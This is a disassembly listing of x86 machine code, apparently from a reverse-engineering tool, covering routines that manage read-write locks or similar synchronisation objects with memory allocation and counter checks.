arg_8 = dword ptr 0Ch
push ebx
push ebp
push esi
push edi
push 14h
push 1
nop
call near ptr 77C2C0C3h
mov esi, eax
add esp, 8
test esi, esi
jnz short loc_431811
pop edi
pop esi
pop ebp
mov eax, 0Ch
pop ebx
retn
; ---------------------------------------------------------------------------
loc_431811: ; CODE XREF: sub_4317F0+15j
mov edi, [esp+10h+arg_8]
mov ebp, [esp+10h+arg_4]
mov dword ptr [esi], 0FFFFFFFFh
mov [esi+4], ebp
lea ebx, [edi+8]
mov [esi+8], edi
push ebx
call sub_402225
add esp, 4
mov [esp+10h+arg_4], eax
test eax, eax
jz short loc_431852
push esi
call sub_40222F
push esi
nop
call near ptr 77C2C21Bh
mov eax, [esp+18h+arg_4]
add esp, 8
pop edi
pop esi
pop ebp
pop ebx
retn
; ---------------------------------------------------------------------------
loc_431852: ; CODE XREF: sub_4317F0+47j
mov eax, [edi+0Ch]
push ebx
mov [esi+10h], eax
mov [edi+0Ch], esi
call sub_4010C3
add esp, 4
test ebp, ebp
jz short loc_431877
mov ecx, [ebp+80h]
mov [esi+0Ch], ecx
mov [ebp+80h], esi
loc_431877: ; CODE XREF: sub_4317F0+76j
mov edx, [esp+10h+arg_0]
pop edi
xor eax, eax
mov [edx], esi
pop esi
pop ebp
pop ebx
retn
sub_4317F0 endp
; ---------------------------------------------------------------------------
db 0Ch dup(90h)
db 30h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_4318C0 proc near ; CODE XREF: sub_40105Fj
arg_0 = dword ptr 4
push esi
mov esi, [esp+4+arg_0]
test esi, esi
jz short loc_4318E7
mov eax, [esi+8]
test eax, eax
jnz short loc_4318E7
mov eax, [esi+4]
test eax, eax
jnz short loc_4318E7
push esi
call sub_40222F
push esi
nop
call near ptr 77C2C21Bh
add esp, 8
loc_4318E7: ; CODE XREF: sub_4318C0+7j
; sub_4318C0+Ej ...
pop esi
retn
sub_4318C0 endp
; ---------------------------------------------------------------------------
db 7 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_431900 proc near ; CODE XREF: sub_40131Bj
arg_0 = dword ptr 4
push ebx
mov ebx, [esp+4+arg_0]
test ebx, ebx
push esi
jz short loc_43196D
mov esi, [ebx+80h]
test esi, esi
jz short loc_43196D
push edi
loc_431915: ; CODE XREF: sub_431900+6Aj
push esi
call sub_402225
add esp, 4
test eax, eax
jnz short loc_431968
mov edi, [esi+8]
test edi, edi
jz short loc_431943
push edi
call sub_401190
; ---------------------------------------------------------------------------
add esp, 4
test eax, eax
jz short loc_431943
mov edi, [edi+4]
test edi, edi
jz short loc_431943
push eax
loc_43193E: ; CODE XREF: ___:004319B7j
call edi ; free
add esp, 4
loc_431943: ; CODE XREF: sub_431900+27j
; sub_431900+34j ...
mov eax, [esi+0Ch]
mov dword ptr [esi+4], 0
push esi
mov [ebx+80h], eax
call sub_4010C3
push esi
call sub_40105F
mov esi, [ebx+80h]
add esp, 8
loc_431968: ; CODE XREF: sub_431900+20j
test esi, esi
jnz short loc_431915
pop edi
loc_43196D: ; CODE XREF: sub_431900+8j
; sub_431900+12j
pop esi
pop ebx
retn
sub_431900 endp
; ---------------------------------------------------------------------------
db 20h dup(0CCh)
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
sub_431990 proc near ; CODE XREF: sub_401DD4j
mov eax, dword_50E3E8
push ebx
push edi
push eax
call sub_401190
sub_431990 endp
; ---------------------------------------------------------------------------
db 8Bh, 5Ch, 24h
; ---------------------------------------------------------------------------
adc [ebx-47CFB3Ch], al
add cl, [ebx-7CF28B08h]
sti
add [eax+ecx+6Ah], esi
add [eax-7F7B3918h], edx
ja short loc_43193E
push dword ptr [esi+eax-0Ah]
inc edi
jl short near ptr loc_4319C0+1
loc_4319C0: ; CODE XREF: ___:004319BEj
jz short loc_4319E5
push esi
mov eax, ebx
xor esi, esi
dec eax
jz short loc_4319D2
dec eax
jnz short loc_4319D5
or esi, 0FFFFFFFFh
jmp short loc_4319D5
; ---------------------------------------------------------------------------
loc_4319D2: ; CODE XREF: ___:004319C8j
mov esi, [edi+14h]
loc_4319D5: ; CODE XREF: ___:004319CBj
; ___:004319D0j
call sub_4017C1
push esi
nop
call near ptr 77C3A307h
add esp, 4
pop esi
loc_4319E5: ; CODE XREF: ___:loc_4319C0j
push 1
call sub_401B0E
; ---------------------------------------------------------------------------
dd 8304C483h, 57533CC7h, 537AE890h, 90907780h, 90909090h
dd 8 dup(0CCCCCCCCh)
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
sub_431A20 proc near ; CODE XREF: sub_401B0Ej
arg_0 = dword ptr 4
push esi
mov esi, [esp+4+arg_0]
push esi
call sub_401122
sub_431A20 endp
; ---------------------------------------------------------------------------
add esp, 4
test eax, eax
jz short loc_431A3F
loc_431A32: ; CODE XREF: ___:00431A3Dj
push esi
call sub_401122
; ---------------------------------------------------------------------------
add esp, 4
test eax, eax
jnz short loc_431A32
loc_431A3F: ; CODE XREF: ___:00431A30j
pop esi
retn
; ---------------------------------------------------------------------------
db 0Fh dup(90h)
db 10h dup(0CCh)
; ---------------------------------------------------------------------------
loc_431A60: ; CODE XREF: ___:00401DDEj
xor eax, eax
retn
; ---------------------------------------------------------------------------
db 0Dh dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_431A80 proc near ; CODE XREF: sub_4012D0j
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
push ecx
push ecx
push edx
mov ecx, [ebp+arg_0]
mov edx, [ebp+arg_4]
mov eax, [ebp+arg_8]
lock cmpxchg [ecx], edx
mov [ebp+var_4], eax
pop edx
pop ecx
mov eax, [ebp+var_4]
mov esp, ebp
pop ebp
retn 0Ch
sub_431A80 endp
; ---------------------------------------------------------------------------
db 0Fh dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_431AC0 proc near ; CODE XREF: sub_401C26j
var_8 = dword ptr -8
var_4 = byte ptr -4
arg_0 = dword ptr 4
sub esp, 8
lea eax, [esp+8+var_4]
lea ecx, [esp+8+var_8]
push esi
push eax
push ecx
xor esi, esi
nop
call near ptr 2780C6Ch
push eax
nop
call near ptr 2740C4Fh
test eax, eax
jz short loc_431B02
mov edx, [esp+0Ch+var_8]
xor ecx, ecx
mov eax, 1
loc_431AEC: ; CODE XREF: sub_431AC0+33j
test eax, edx
jz short loc_431AF1
inc ecx
loc_431AF1: ; CODE XREF: sub_431AC0+2Ej
shl eax, 1
jnz short loc_431AEC
mov edx, [esp+0Ch+arg_0]
mov eax, esi
pop esi
mov [edx], ecx
add esp, 8
retn
; ---------------------------------------------------------------------------
loc_431B02: ; CODE XREF: sub_431AC0+1Fj
mov eax, 0Bh
pop esi
add esp, 8
retn
sub_431AC0 endp
; ---------------------------------------------------------------------------
db 4 dup(90h)
db 20h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_431B30 proc near ; CODE XREF: sub_40184Dj
arg_0 = dword ptr 4
push esi
push offset dword_50E9A0
xor esi, esi
nop
call near ptr 7C901005h
mov ecx, [esp+4+arg_0]
mov eax, [ecx]
cmp eax, 0FFFFFFFFh
jnz short loc_431B64
push esi
push ecx
call sub_401F73
add esp, 8
mov esi, eax
push offset dword_50E9A0
call near ptr 7C9010EDh
nop
mov eax, esi
pop esi
retn
; ---------------------------------------------------------------------------
loc_431B64: ; CODE XREF: sub_431B30+17j
test eax, eax
jnz short loc_431B6D
mov esi, 16h
loc_431B6D: ; CODE XREF: sub_431B30+36j
push offset dword_50E9A0
nop
call near ptr 7C9010EDh
mov eax, esi
pop esi
retn
sub_431B30 endp
; ---------------------------------------------------------------------------
db 4 dup(90h)
db 20h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_431BA0 proc near ; CODE XREF: sub_401852j
arg_0 = dword ptr 4
push esi
mov esi, [esp+4+arg_0]
mov eax, [esi+14h]
lea ecx, [esi+4]
neg eax
push ecx
mov [esi+0Ch], eax
mov dword ptr [esi+14h], 0
call sub_4010C3
push esi
call sub_4010C3
add esp, 8
pop esi
retn
sub_431BA0 endp
; ---------------------------------------------------------------------------
db 8 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_431BE0 proc near ; CODE XREF: sub_401F73j
arg_0 = dword ptr 4
arg_4 = dword ptr 8
mov eax, [esp+arg_0]
push esi
xor esi, esi
test eax, eax
jnz short loc_431BF2
mov eax, 16h
pop esi
retn
; ---------------------------------------------------------------------------
loc_431BF2: ; CODE XREF: sub_431BE0+9j
mov eax, [esp+4+arg_4]
push ebx
test eax, eax
push edi
jz short loc_431C12
cmp dword ptr [eax], 0
jz short loc_431C12
mov ecx, [esp+0Ch+arg_0]
mov edi, 16h
mov eax, edi
pop edi
mov [ecx], esi
pop ebx
pop esi
retn
; ---------------------------------------------------------------------------
loc_431C12: ; CODE XREF: sub_431BE0+1Aj
; sub_431BE0+1Fj
push 1Ch
push 1
nop
call near ptr 77C2C0C3h
mov esi, eax
add esp, 8
test esi, esi
jnz short loc_431C36
mov ecx, [esp+0Ch+arg_0]
mov edi, 0Ch
mov eax, edi
pop edi
mov [ecx], esi
pop ebx
pop esi
retn
; ---------------------------------------------------------------------------
loc_431C36: ; CODE XREF: sub_431BE0+43j
push 0
push esi
mov dword ptr [esi+0Ch], 0
mov dword ptr [esi+10h], 0
mov dword ptr [esi+14h], 0
call sub_402199
mov edi, eax
add esp, 8
test edi, edi
jnz short loc_431C94
lea ebx, [esi+4]
push eax
push ebx
call sub_402199
mov edi, eax
add esp, 8
test edi, edi
jnz short loc_431C8B
push eax
lea eax, [esi+8]
push eax
call sub_401541
mov edi, eax
add esp, 8
test edi, edi
jz short loc_431CAC
push ebx
call sub_40222F
add esp, 4
loc_431C8B: ; CODE XREF: sub_431BE0+8Dj
push esi
call sub_40222F
add esp, 4
loc_431C94: ; CODE XREF: sub_431BE0+7Aj
push esi
nop
call near ptr 77C2C21Bh
mov ecx, [esp+10h+arg_0]
add esp, 4
xor esi, esi
mov eax, edi
pop edi
mov [ecx], esi
pop ebx
pop esi
retn
; ---------------------------------------------------------------------------
loc_431CAC: ; CODE XREF: sub_431BE0+A0j
mov ecx, [esp+0Ch+arg_0]
xor edi, edi
mov eax, edi
mov dword ptr [esi+18h], 0FACADE2h
pop edi
mov [ecx], esi
pop ebx
pop esi
retn
sub_431BE0 endp
; ---------------------------------------------------------------------------
db 0Fh dup(90h)
db 40h dup(0CCh)
; ---------------------------------------------------------------------------
loc_431D10: ; CODE XREF: ___:004018ACj
mov eax, [esp+4]
push ebx
push ebp
push esi
push edi
xor ebx, ebx
xor edi, edi
xor ebp, ebp
test eax, eax
jz loc_431E4B
mov esi, [eax]
test esi, esi
jz loc_431E4B
cmp esi, 0FFFFFFFFh
jz loc_431E07
cmp dword ptr [esi+18h], 0FACADE2h
jnz loc_431E4B
push esi
call sub_402225
add esp, 4
test eax, eax
jnz loc_431E50
lea edi, [esi+4]
push edi
call sub_402225
mov ebx, eax
add esp, 4
test ebx, ebx
jz short loc_431D79
push esi
call sub_4010C3
add esp, 4
mov eax, ebx
pop edi
pop esi
pop ebp
pop ebx
retn
; ---------------------------------------------------------------------------
loc_431D79: ; CODE XREF: ___:00431D67j
mov eax, [esi+10h]
test eax, eax
jg short loc_431DED
mov eax, [esi+0Ch]
mov ecx, [esi+14h]
cmp eax, ecx
jg short loc_431DED
push edi
mov dword ptr [esi+18h], 0
call sub_4010C3
add esp, 4
mov ebx, eax
test ebx, ebx
push esi
jz short loc_431DB0
call sub_4010C3
add esp, 4
mov eax, ebx
pop edi
pop esi
pop ebp
pop ebx
retn
; ---------------------------------------------------------------------------
loc_431DB0: ; CODE XREF: ___:00431D9Fj
call sub_4010C3
add esp, 4
test eax, eax
jnz loc_431E50
mov ecx, [esp+14h]
lea edx, [esi+8]
push edx
mov [ecx], eax
call sub_401A91
push edi
mov ebx, eax
call sub_40222F
push esi
mov edi, eax
call sub_40222F
push esi
mov ebp, eax
nop
call near ptr 77C2C21Bh
add esp, 10h
jmp short loc_431E33
; ---------------------------------------------------------------------------
loc_431DED: ; CODE XREF: ___:00431D7Ej
; ___:00431D88j
push edi
call sub_4010C3
push esi
mov ebx, eax
call sub_4010C3
add esp, 8
mov edi, eax
mov ebp, 10h
jmp short loc_431E33
; ---------------------------------------------------------------------------
loc_431E07: ; CODE XREF: ___:00431D33j
push offset dword_50E9A0
call near ptr 7C901005h
nop
mov eax, [esp+14h]
cmp dword ptr [eax], 0FFFFFFFFh
jnz short loc_431E23
mov dword ptr [eax], 0
jmp short loc_431E28
; ---------------------------------------------------------------------------
loc_431E23: ; CODE XREF: ___:00431E19j
mov ebx, 10h
loc_431E28: ; CODE XREF: ___:00431E21j
push offset dword_50E9A0
call near ptr 7C9010EDh
nop
loc_431E33: ; CODE XREF: ___:00431DEBj
; ___:00431E05j
test ebx, ebx
jz short loc_431E3E
pop edi
pop esi
mov eax, ebx
pop ebp
pop ebx
retn
; ---------------------------------------------------------------------------
loc_431E3E: ; CODE XREF: ___:00431E35j
test edi, edi
mov eax, edi
jnz short loc_431E50
pop edi
mov eax, ebp
pop esi
pop ebp
pop ebx
retn
; ---------------------------------------------------------------------------
loc_431E4B: ; CODE XREF: ___:00431D20j
; ___:00431D2Aj ...
mov eax, 16h
loc_431E50: ; CODE XREF: ___:00431D51j
; ___:00431DBAj ...
pop edi
pop esi
pop ebp
pop ebx
retn
; ---------------------------------------------------------------------------
db 0Bh dup(90h)
db 60h dup(0CCh)
; ---------------------------------------------------------------------------
loc_431EC0: ; CODE XREF: ___:00401E88j
push esi
push 4
push 1
xor esi, esi
call near ptr 77C2C0C3h
nop
add esp, 8
test eax, eax
jnz short loc_431EE3
mov edx, [esp+8]
mov ecx, 0Ch
pop esi
mov [edx], eax
mov eax, ecx
retn
; ---------------------------------------------------------------------------
loc_431EE3: ; CODE XREF: ___:00431ED2j
mov ecx, [esp+8]
mov dword ptr [eax], 0
mov [ecx], eax
mov eax, esi
pop esi
retn
; ---------------------------------------------------------------------------
db 0Dh dup(90h)
db 10h dup(0CCh)
; ---------------------------------------------------------------------------
loc_431F10: ; CODE XREF: ___:00401794j
mov ecx, [esp+4]
push esi
xor esi, esi
test ecx, ecx
jz short loc_431F31
mov eax, [ecx]
test eax, eax
jz short loc_431F31
push eax
mov [ecx], esi
nop
call near ptr 77C2C21Bh
add esp, 4
mov eax, esi
pop esi
retn
; ---------------------------------------------------------------------------
loc_431F31: ; CODE XREF: ___:00431F19j
; ___:00431F1Fj
mov eax, 16h
pop esi
retn
; ---------------------------------------------------------------------------
db 8 dup(90h)
db 10h dup(0CCh)
; ---------------------------------------------------------------------------
loc_431F50: ; CODE XREF: ___:00401136j
mov eax, [esp+4]
test eax, eax
jz short loc_431F6D
mov eax, [eax]
test eax, eax
jz short loc_431F6D
mov ecx, [esp+8]
test ecx, ecx
jz short loc_431F6D
mov eax, [eax]
mov [ecx], eax
xor eax, eax
retn
; ---------------------------------------------------------------------------
loc_431F6D: ; CODE XREF: ___:00431F56j
; ___:00431F5Cj ...
mov eax, 16h
retn
; ---------------------------------------------------------------------------
db 0Dh dup(90h)
db 10h dup(0CCh)
; ---------------------------------------------------------------------------
loc_431F90: ; CODE XREF: ___:0040159Bj
mov eax, [esp+4]
test eax, eax
jz short loc_431FBA
mov ecx, [eax]
test ecx, ecx
jz short loc_431FBA
mov eax, [esp+8]
cmp eax, 1
jz short loc_431FAE
test eax, eax
jnz short loc_431FBA
mov [ecx], eax
retn
; ---------------------------------------------------------------------------
loc_431FAE: ; CODE XREF: ___:00431FA5j
mov eax, 28h
mov dword ptr [ecx], 0
retn
; ---------------------------------------------------------------------------
loc_431FBA: ; CODE XREF: ___:00431F96j
; ___:00431F9Cj ...
mov eax, 16h
retn
; ---------------------------------------------------------------------------
db 10h dup(0CCh)
; ---------------------------------------------------------------------------
loc_431FD0: ; CODE XREF: ___:00402077j
push ebx
push esi
mov esi, [esp+0Ch]
push edi
test esi, esi
jz loc_43208A
mov eax, [esi]
test eax, eax
jz loc_43208A
cmp eax, 0FFFFFFFFh
jnz short loc_432004
push esi
call sub_40184D
add esp, 4
test eax, eax
jz short loc_432004
cmp eax, 10h
jnz loc_43208F
loc_432004: ; CODE XREF: ___:00431FECj
; ___:00431FF9j
mov esi, [esi]
cmp dword ptr [esi+18h], 0FACADE2h
jnz short loc_43208A
push esi
call sub_402225
add esp, 4
test eax, eax
jnz short loc_43208F
mov ecx, [esi+0Ch]
inc ecx
mov eax, ecx
mov [esi+0Ch], ecx
cmp eax, 7FFFFFFFh
jnz short loc_43207D
lea edi, [esi+4]
push edi
call sub_402225
mov ebx, eax
add esp, 4
test ebx, ebx
jz short loc_43204D
push esi
call sub_4010C3
add esp, 4
mov eax, ebx
pop edi
pop esi
pop ebx
retn
; ---------------------------------------------------------------------------
loc_43204D: ; CODE XREF: ___:0043203Cj
mov eax, [esi+14h]
mov ebx, [esi+0Ch]
sub ebx, eax
push edi
mov [esi+0Ch], ebx
mov dword ptr [esi+14h], 0
call sub_4010C3
mov edi, eax
add esp, 4
test edi, edi
jz short loc_43207D
push esi
call sub_4010C3
add esp, 4
mov eax, edi
pop edi
pop esi
pop ebx
retn
; ---------------------------------------------------------------------------
loc_43207D: ; CODE XREF: ___:0043202Aj
; ___:0043206Cj
push esi
call sub_4010C3
add esp, 4
pop edi
pop esi
pop ebx
retn
; ---------------------------------------------------------------------------
loc_43208A: ; CODE XREF: ___:00431FD9j
; ___:00431FE3j ...
mov eax, 16h
loc_43208F: ; CODE XREF: ___:00431FFEj
; ___:0043201Aj
pop edi
pop esi
pop ebx
retn
; ---------------------------------------------------------------------------
db 0Dh dup(90h)
db 40h dup(0CCh)
; ---------------------------------------------------------------------------
loc_4320E0: ; CODE XREF: ___:0040169Aj
push ebx
push esi
mov esi, [esp+0Ch]
push edi
test esi, esi
jz loc_4321AF
mov eax, [esi]
test eax, eax
jz loc_4321AF
cmp eax, 0FFFFFFFFh
jnz short loc_432114
push esi
call sub_40184D
add esp, 4
test eax, eax
jz short loc_432114
cmp eax, 10h
jnz loc_4321B4
loc_432114: ; CODE XREF: ___:004320FCj
; ___:00432109j
mov esi, [esi]
cmp dword ptr [esi+18h], 0FACADE2h
jnz loc_4321AF
mov ebx, [esp+14h]
push ebx
push esi
call sub_401BC2
add esp, 8
test eax, eax
jnz short loc_4321B4
mov ecx, [esi+0Ch]
inc ecx
mov eax, ecx
mov [esi+0Ch], ecx
cmp eax, 7FFFFFFFh
jnz short loc_4321A2
lea edi, [esi+4]
push ebx
push edi
call sub_401BC2
mov ebx, eax
add esp, 8
test ebx, ebx
jz short loc_432172
cmp ebx, 274Ch
jnz short loc_432163
inc dword ptr [esi+14h]
loc_432163: ; CODE XREF: ___:0043215Ej
push esi
call sub_4010C3
add esp, 4
mov eax, ebx
pop edi
pop esi
pop ebx
retn
; ---------------------------------------------------------------------------
loc_432172: ; CODE XREF: ___:00432156j
mov eax, [esi+14h]
mov ebx, [esi+0Ch]
sub ebx, eax
push edi
mov [esi+0Ch], ebx
mov dword ptr [esi+14h], 0
call sub_4010C3
mov edi, eax
add esp, 4
test edi, edi
jz short loc_4321A2
push esi
call sub_4010C3
add esp, 4
mov eax, edi
pop edi
pop esi
pop ebx
retn
; ---------------------------------------------------------------------------
loc_4321A2: ; CODE XREF: ___:00432143j
; ___:00432191j
push esi
call sub_4010C3
add esp, 4
pop edi
pop esi
pop ebx
retn
; ---------------------------------------------------------------------------
loc_4321AF: ; CODE XREF: ___:004320E9j
; ___:004320F3j ...
mov eax, 16h
loc_4321B4: ; CODE XREF: ___:0043210Ej
; ___:00432133j
pop edi
pop esi
pop ebx
retn
; ---------------------------------------------------------------------------
db 8 dup(90h)
db 40h dup(0CCh)
; ---------------------------------------------------------------------------
loc_432200: ; CODE XREF: ___:004015C8j
sub esp, 0Ch
push ebp
push esi
mov esi, [esp+18h]
push edi
test esi, esi
jz loc_4322F6
mov eax, [esi]
test eax, eax
jz loc_4322F6
cmp eax, 0FFFFFFFFh
jnz short loc_432237
push esi
call sub_40184D
add esp, 4
test eax, eax
jz short loc_432237
cmp eax, 10h
jnz loc_4322FB
loc_432237: ; CODE XREF: ___:0043221Fj
; ___:0043222Cj
mov esi, [esi]
cmp dword ptr [esi+18h], 0FACADE2h
jnz loc_4322F6
push esi
call sub_402225
add esp, 4
test eax, eax
jnz loc_4322FB
lea ebp, [esi+4]
push ebp
call sub_402225
mov edi, eax
add esp, 4
test edi, edi
jz short loc_43227B
push esi
call sub_4010C3
add esp, 4
mov eax, edi
pop edi
pop esi
pop ebp
add esp, 0Ch
retn
; ---------------------------------------------------------------------------
loc_43227B: ; CODE XREF: ___:00432267j
mov eax, [esi+10h]
test eax, eax
jnz short loc_4322EA
mov eax, [esi+14h]
test eax, eax
jle short loc_432298
mov ecx, [esi+0Ch]
mov dword ptr [esi+14h], 0
sub ecx, eax
mov [esi+0Ch], ecx
loc_432298: ; CODE XREF: ___:00432287j
mov eax, [esi+0Ch]
test eax, eax
jle short loc_4322EA
neg eax
push ebx
mov [esi+14h], eax
push esi
lea eax, [esp+14h]
push offset sub_401852
push eax
call sub_401659
; ---------------------------------------------------------------------------
add esp, 0Ch
lea ebx, [esi+8]
loc_4322BB: ; CODE XREF: ___:004322D0j
push ebp
push ebx
call sub_401203
mov edi, eax
add esp, 8
test edi, edi
jnz short loc_4322D2
mov eax, [esi+14h]
test eax, eax
jl short loc_4322BB
loc_4322D2: ; CODE XREF: ___:004322C9j
xor ecx, ecx
test edi, edi
setnz cl
push ecx
call sub_401122
; ---------------------------------------------------------------------------
add esp, 4
test edi, edi
pop ebx
jnz short loc_4322ED
mov [esi+0Ch], edi
loc_4322EA: ; CODE XREF: ___:00432280j
; ___:0043229Dj
inc dword ptr [esi+10h]
loc_4322ED: ; CODE XREF: ___:004322E5j
mov eax, edi
pop edi
pop esi
pop ebp
add esp, 0Ch
retn
; ---------------------------------------------------------------------------
loc_4322F6: ; CODE XREF: ___:0043220Cj
; ___:00432216j ...
mov eax, 16h
loc_4322FB: ; CODE XREF: ___:00432231j
; ___:00432251j
pop edi
pop esi
pop ebp
add esp, 0Ch
retn
; ---------------------------------------------------------------------------
db 0Eh dup(90h)
db 50h dup(0CCh)
; ---------------------------------------------------------------------------
loc_432360: ; CODE XREF: ___:00401951j
sub esp, 0Ch
push ebp
push esi
mov esi, [esp+18h]
push edi
test esi, esi
jz loc_432461
mov eax, [esi]
test eax, eax
jz loc_432461
cmp eax, 0FFFFFFFFh
jnz short loc_432397
push esi
call sub_40184D
add esp, 4
test eax, eax
jz short loc_432397
cmp eax, 10h
jnz loc_432466
loc_432397: ; CODE XREF: ___:0043237Fj
; ___:0043238Cj
mov esi, [esi]
cmp dword ptr [esi+18h], 0FACADE2h
jnz loc_432461
mov edi, [esp+20h]
push edi
push esi
call sub_401BC2
add esp, 8
test eax, eax
jnz loc_432466
lea ebp, [esi+4]
push edi
push ebp
call sub_401BC2
mov edi, eax
add esp, 8
test edi, edi
jz short loc_4323E1
push esi
call sub_4010C3
add esp, 4
mov eax, edi
pop edi
pop esi
pop ebp
add esp, 0Ch
retn
; ---------------------------------------------------------------------------
loc_4323E1: ; CODE XREF: ___:004323CDj
mov eax, [esi+10h]
test eax, eax
jnz short loc_432455
mov eax, [esi+14h]
test eax, eax
jle short loc_4323FE
mov ecx, [esi+0Ch]
mov dword ptr [esi+14h], 0
sub ecx, eax
mov [esi+0Ch], ecx
loc_4323FE: ; CODE XREF: ___:004323EDj
mov eax, [esi+0Ch]
test eax, eax
jle short loc_432455
neg eax
push ebx
mov [esi+14h], eax
push esi
lea eax, [esp+14h]
push offset sub_401852
push eax
call sub_401659
; ---------------------------------------------------------------------------
add esp, 0Ch
lea ebx, [esi+8]
loc_432421: ; CODE XREF: ___:0043243Bj
mov ecx, [esp+24h]
push ecx
push ebp
push ebx
call sub_4011E0
mov edi, eax
add esp, 0Ch
test edi, edi
jnz short loc_43243D
mov eax, [esi+14h]
test eax, eax
jl short loc_432421
loc_43243D: ; CODE XREF: ___:00432434j
xor edx, edx
test edi, edi
setnz dl
push edx
call sub_401122
; ---------------------------------------------------------------------------
add esp, 4
test edi, edi
pop ebx
jnz short loc_432458
mov [esi+0Ch], edi
loc_432455: ; CODE XREF: ___:004323E6j
; ___:00432403j
inc dword ptr [esi+10h]
loc_432458: ; CODE XREF: ___:00432450j
mov eax, edi
pop edi
pop esi
pop ebp
add esp, 0Ch
retn
; ---------------------------------------------------------------------------
loc_432461: ; CODE XREF: ___:0043236Cj
; ___:00432376j ...
mov eax, 16h
loc_432466: ; CODE XREF: ___:00432391j
; ___:004323B6j
pop edi
pop esi
pop ebp
add esp, 0Ch
retn
; ---------------------------------------------------------------------------
db 3 dup(90h)
db 50h dup(0CCh)
; ---------------------------------------------------------------------------
loc_4324C0: ; CODE XREF: ___:004015BEj
mov eax, [esp+4]
push ebx
push esi
push edi
test eax, eax
jz short loc_432546
mov esi, [eax]
test esi, esi
jz short loc_432546
cmp esi, 0FFFFFFFFh
jnz short loc_4324DC
pop edi
pop esi
xor eax, eax
pop ebx
retn
; ---------------------------------------------------------------------------
loc_4324DC: ; CODE XREF: ___:004324D4j
cmp dword ptr [esi+18h], 0FACADE2h
jnz short loc_432546
mov eax, [esi+10h]
test eax, eax
jnz short loc_432524
lea ebx, [esi+4]
push ebx
call sub_402225
mov edi, eax
add esp, 4
test edi, edi
jz short loc_432502
pop edi
pop esi
pop ebx
retn
; ---------------------------------------------------------------------------
loc_432502: ; CODE XREF: ___:004324FCj
mov eax, [esi+14h]
inc eax
loc_432506: ; DATA XREF: sub_584787+21FDo
mov [esi+14h], eax
jnz short loc_432519
add esi, 8
push esi
call sub_401E51
add esp, 4
mov edi, eax
loc_432519: ; CODE XREF: ___:00432509j
push ebx
call sub_4010C3
add esp, 4
jmp short loc_43253C
; ---------------------------------------------------------------------------
loc_432524: ; CODE XREF: ___:004324EAj
dec eax
mov [esi+10h], eax
lea eax, [esi+4]
push eax
call sub_4010C3
push esi
mov edi, eax
call sub_4010C3
add esp, 8
loc_43253C: ; CODE XREF: ___:00432522j
test edi, edi
jz short loc_43254B
mov eax, edi
pop edi
pop esi
pop ebx
retn
; ---------------------------------------------------------------------------
loc_432546: ; CODE XREF: ___:004324C9j
; ___:004324CFj ...
mov eax, 16h
loc_43254B: ; CODE XREF: ___:0043253Ej
pop edi
pop esi
pop ebx
retn
; ---------------------------------------------------------------------------
db 90h
db 30h dup(0CCh)
; ---------------------------------------------------------------------------
loc_432580: ; CODE XREF: ___:00401532j
push ebx
push esi
mov esi, [esp+0Ch]
push edi
test esi, esi
jz loc_43263A
mov eax, [esi]
test eax, eax
jz loc_43263A
cmp eax, 0FFFFFFFFh
jnz short loc_4325B4
push esi
call sub_40184D
add esp, 4
test eax, eax
jz short loc_4325B4
cmp eax, 10h
jnz loc_43263F
loc_4325B4: ; CODE XREF: ___:0043259Cj
; ___:004325A9j
mov esi, [esi]
cmp dword ptr [esi+18h], 0FACADE2h
jnz short loc_43263A
push esi
call sub_40177B
add esp, 4
test eax, eax
jnz short loc_43263F
mov ecx, [esi+0Ch]
inc ecx
mov eax, ecx
mov [esi+0Ch], ecx
cmp eax, 7FFFFFFFh
jnz short loc_43262D
lea edi, [esi+4]
push edi
call sub_402225
mov ebx, eax
add esp, 4
test ebx, ebx
jz short loc_4325FD
push esi
call sub_4010C3
add esp, 4
mov eax, ebx
pop edi
pop esi
pop ebx
retn
; ---------------------------------------------------------------------------
loc_4325FD: ; CODE XREF: ___:004325ECj
mov eax, [esi+14h]
mov ebx, [esi+0Ch]
sub ebx, eax
push edi
mov [esi+0Ch], ebx
mov dword ptr [esi+14h], 0
call sub_4010C3
mov edi, eax
add esp, 4
test edi, edi
jz short loc_43262D
push esi
call sub_4010C3
add esp, 4
mov eax, edi
pop edi
pop esi
pop ebx
retn
; ---------------------------------------------------------------------------
loc_43262D: ; CODE XREF: ___:004325DAj
; ___:0043261Cj
push esi
call sub_4010C3
add esp, 4
pop edi
pop esi
pop ebx
retn
; ---------------------------------------------------------------------------
loc_43263A: ; CODE XREF: ___:00432589j
; ___:00432593j ...
mov eax, 16h
loc_43263F: ; CODE XREF: ___:004325AEj
; ___:004325CAj
pop edi
pop esi
pop ebx
retn
; ---------------------------------------------------------------------------
db 0Dh dup(90h)
db 40h dup(0CCh)
; ---------------------------------------------------------------------------
loc_432690: ; CODE XREF: ___:00401FD2j
push ebx
push esi
mov esi, [esp+0Ch]
push edi
test esi, esi
jz loc_432771
mov eax, [esi]
test eax, eax
jz loc_432771
cmp eax, 0FFFFFFFFh
jnz short loc_4326C4
push esi
call sub_40184D
add esp, 4
test eax, eax
jz short loc_4326C4
cmp eax, 10h
jnz loc_432776
loc_4326C4: ; CODE XREF: ___:004326ACj
; ___:004326B9j
mov esi, [esi]
cmp dword ptr [esi+18h], 0FACADE2h
jnz loc_432771
push esi
call sub_40177B
add esp, 4
test eax, eax
jnz loc_432776
lea ebx, [esi+4]
push ebx
call sub_40177B
mov edi, eax
add esp, 4
test edi, edi
jz short loc_432709
push esi
call sub_4010C3
add esp, 4
test eax, eax
jnz short loc_432776
mov eax, edi
pop edi
pop esi
pop ebx
retn
; ---------------------------------------------------------------------------
loc_432709: ; CODE XREF: ___:004326F4j
mov eax, [esi+10h]
test eax, eax
jnz short loc_432759
mov eax, [esi+14h]
test eax, eax
jle short loc_432726
mov ecx, [esi+0Ch]
mov dword ptr [esi+14h], 0
sub ecx, eax
mov [esi+0Ch], ecx
loc_432726: ; CODE XREF: ___:00432715j
mov eax, [esi+0Ch]
